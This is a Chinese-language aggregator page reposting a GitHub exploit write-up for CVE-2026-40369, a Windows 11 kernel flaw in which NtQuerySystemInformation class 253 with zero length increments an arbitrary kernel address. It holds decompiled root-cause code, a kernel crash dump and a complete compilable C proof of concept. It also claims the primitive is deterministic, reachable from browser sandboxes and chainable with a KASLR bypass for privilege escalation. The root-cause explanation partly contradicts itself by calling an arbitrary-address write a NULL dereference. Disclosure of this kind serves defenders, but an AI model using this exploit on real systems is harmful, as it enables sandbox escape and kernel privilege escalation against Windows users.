CVE-2026-40369: 通过NtQuerySystemInformation实现任意内核地址递增

Lobsters Hottest 新闻

摘要

CVE-2026-40369 描述了 Windows 内核中 NtQuerySystemInformation 函数的一个漏洞,该漏洞允许任意内核地址递增,使无特权的进程(包括 Chrome 沙箱)能够提升权限。该利用在 Windows 11 24H2-25H2 上是确定性的。

<p><a href="https://lobste.rs/s/lwtmzl/cve_2026_40369_arbitrary_kernel_address">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/05/16 05:08

orinimron123/CVE-2026-40369-EXPLOIT

来源:https://github.com/orinimron123/CVE-2026-40369-EXPLOIT

CVE-2026-40369:通过 NtQuerySystemInformation(类别 253)实现任意内核地址递增

摘要

  • 类型: 任意内核写入(递增)— 权限提升原语
  • 组件: ntoskrnl.exe — ExpGetProcessInformation
  • 触发方式: NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)
  • 影响: 任意非特权进程均可实现任意内核地址递增(写入原语)
  • Chrome 沙箱可达性: 是(NtQuerySystemInformation 未被阻拦)
  • Windows 版本: Windows 11 24H2-25H2
  • 利用可靠性: 100% 确定
  • KASLR 绕过可与 prefetch 工具链式使用 https://github.com/exploits-forsale/prefetch-tool

根本原因

ExpGetProcessInformationExpQuerySystemInformation 为信息类别 5(SystemProcessInformation)、0x39、0x94、0xFC 以及 0xFD(253 = SystemProcessInformationExtension) 调用。调用点位于 ExpQuerySystemInformation+0xD7A

c // 类别 5、0x39、0x94、0xFC、0xFD 均共享此调用: result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);

当 userBuffer 也指向内核(例如,探测所需缓冲区大小时),函数进入如下流程:

c // ExpGetProcessInformation,简化版: __int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass) { v91 = buffer; // = NULL if (infoClass == 252) { v86 = v91; // 类别 252 使用 v86 // ... } else { v86 = NULL; if (infoClass == 253) { v95 = v91; // v95 = NULL(缺陷:未对内核地址进行清洗检查!) goto LABEL_11; } // 类别 5 路径 - 使用 v81,不触碰 v95 } v95 = NULL; // 类别 252 路径会落到这里 LABEL_11: // ... 进程迭代循环 ... while (NextProcess) { if (infoClass == 253) { ++*v95; // 崩溃:v95 是任意内核地址 v95[1] += ...; // 同样会导致崩溃 v95[2] += ...; // 同样会导致崩溃 } // 类别 5/252 路径正确处理 NULL 缓冲区 } }

对于类别 253,v95 被设置为缓冲区指针(v91 = buffer = NULL),但未进行任何 NULL 检查。进程迭代循环随后尝试递增 *v95 处的计数器,导致内核模式下空指针解引用 → 蓝屏死机。类别 5 和 252 会正确处理 NULL 缓冲区,因为它们使用不同的变量(v81/v86)并且在解引用之前有恰当的检查。

崩溃详情

PAGE_FAULT_IN_NONPAGED_AREA (50) 引用了无效的系统内存。此情况无法通过 try-except 保护。通常地址要么完全错误,要么指向已释放的内存。 参数: Arg1: ffff800041424344,被引用的内存地址。 Arg2: 0000000000000002, X64: 如果错误是由于不存在的 PTE 导致,则设置 bit 0。 如果错误是由于写入导致,则设置 bit 1;清除表示读取。 如果处理器判定错误是由于损坏的 PTE 导致,则设置 bit 3。 如果错误是由于尝试执行不可执行 PTE 导致,则设置 bit 4。 - ARM64: 如果错误是由于写入导致,则设置 bit 1;清除表示读取。 如果错误是由于尝试执行不可执行 PTE 导致,则设置 bit 3。 Arg3: fffff803a06db22e,如果非零,则为引用错误内存地址的指令地址。 Arg4: 0000000000000002,(保留) IP_IN_PAGED_CODE: nt!ExpGetProcessInformation+42e fffff803`a06db22e ff03 inc dword ptr [rbx] STACK_TEXT: *** WARNING: Unable to verify checksum for poc.exe Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2 ffffd380`d4dc52f8 fffff803`a01b2d82 : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus ffffd380`d4dc5300 fffff803`a01b22ac : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12 ffffd380`d4dc5360 fffff803`a00fba97 : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c ffffd380`d4dc5af0 fffff803`9fe29dc0 : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107 ffffd380`d4dc5b30 fffff803`9fe16d96 : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850 ffffd380`d4dc5c20 fffff803`a02b9ecb : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646 ffffd380`d4dc5d90 fffff803`a06db22e : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b ffffd380`d4dc5f20 fffff803`a06dcfbf : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e ffffd380`d4dc6540 fffff803`a06e1061 : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f ffffd380`d4dc6aa0 fffff803`a02be355 : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91 ffffd380`d4dc6ae0 00007ffd`5bc82154 : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25 000000e8`7679faf8 00007ff6`f01c10ef : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14 000000e8`7679fb00 00007ff6`f01c1374 : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef 000000e8`7679fb30 00007ffd`5a5ae8d7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374 000000e8`7679fb70 00007ffd`5bbac48c : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17 000000e8`7679fba0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c

复现步骤

最小化复现程序(非特权,无需特殊令牌):

``c
/**

  • poc.c — NtQuerySystemInformation 类别 253 任意内核递增 PoC
  • 通过绕过 ProbeForWrite 演示任意内核 DWORD 递增。
  • 将内核地址作为输出缓冲区传递,Length=0,导致
  • ExpGetProcessInformation 未经验证地在目标地址递增 DWORD。
  • 构建:cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
    */
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(lib, “ntdll.lib”)

typedef long NTSTATUS;
#define SystemProcessInformationExtension 253

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

int main(void) {
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “NtQuerySystemInformation”);
if (!pNtQSI) {
printf(“[-] 解析 NtQuerySystemInformation 失败\n”);
return 1;
}

PVOID target = (PVOID)0xffff800041424344ULL;  
printf("[*] NtQuerySystemInformation 类别 253 任意内核递增 PoC\n");  
printf("[*] 目标内核地址:%p\n", target);  
printf("[*] 将进行以下写入:\n");  
printf("    [target+0] += 进程数(DWORD 递增)\n");  
printf("    [target+4] += 总线程数(DWORD 加法)\n");  
printf("    [target+8] += 总句柄数(DWORD 加法)\n");  
printf("\n");  
printf("[!] 如果地址不是可写映射内存,此操作将触发蓝屏死机。\n");  
printf("[*] 按 Enter 触发...\n");  
getchar();  

ULONG needed = 0;  
NTSTATUS status = pNtQSI(  
    SystemProcessInformationExtension,  
    target,                /* 内核地址 — 由于 Length=0 跳过了 ProbeForWrite */  
    0,                     /* Length=0 完全绕过 ProbeForWrite */  
    &needed  
);  
printf("[*] NtQuerySystemInformation 返回:0x%08lX\n", status);  
printf("[*] 所需长度:%lu\n", needed);  
printf("[+] 完成。如果您看到此消息,说明写入成功且未触发蓝屏。\n");  
return 0;  

}
``

可利用性评估 — 任意内核写入

ProbeForWrite 绕过

ExpQuerySystemInformation 在分派之前调用 ProbeForWrite(buffer, Length, alignment)当 Length=0 时,ProbeForWrite 完全无效 — 整个函数体由 if (Length) 守卫。因此:
NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed) 将一个未经验证的内核指针直接传入 ExpGetProcessInformation

写入原语

对于系统中的每个进程,该函数执行以下操作:

c v95 = userBuffer; // 攻击者控制的指针,对于类别 253 且 Length=0 时未验证 // 对每个进程: ++*v95; // *(uint32*)(addr+0) += 1 v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count

这会产生:

  • addr+0: 每进程递增 1 → 总计 = 系统上的进程数
  • addr+4: 所有进程线程数之和
  • addr+8: 所有进程句柄数之和

为何即使 LENGTH=0 也会发生写入

ExpGetProcessInformation 检查 if (length < 12) 并设置 STATUS_INFO_LENGTH_MISMATCH,但不会提前返回。它会存储错误状态,然后继续进入进程迭代循环,对每个进程执行对 v95 的写入,最后才返回错误状态。

从 Chrome 沙箱、Edge、Firefox 均可利用

完全可达:

  • NtQuerySystemInformation 未被 win32k 锁定机制阻拦
  • 受限令牌不会阻止此系统调用
  • 不受信任的完整性级别不会阻止此系统调用

alt text

致谢

由 Ori Nimron (@orinimron123) 发现并编写。

相似文章

CVE-2026-31431: Copy Fail

Lobsters Hottest

CVE-2026-31431(Copy Fail)是Linux内核中的一个本地提权漏洞,影响自2017年以来的所有主流发行版,允许非特权用户通过AF_ALG加密子系统对任何可读文件的页缓存进行确定性的4字节写入,从而获得root shell访问权限。

CVE-2026-28952:Apple macOS 26.5 内核漏洞由 Claude 发现

Hacker News Top

Apple 发布了 macOS Tahoe 26.5 的安全更新,修复了多个漏洞,包括内核错误、拒绝服务攻击和沙盒逃逸。该更新修复了由不同研究人员发现的多个 CVE 漏洞,其中 CVE-2026-28952 据称由 Claude AI 发现。

2026年4月补丁星期二版本

Krebs on Security

微软2026年4月补丁星期二修复了创纪录的167个漏洞,包括一个正在被积极利用的SharePoint零日漏洞和一个公开披露的Windows Defender漏洞(BlueHammer),同时Google Chrome和Adobe Reader也修复了零日漏洞。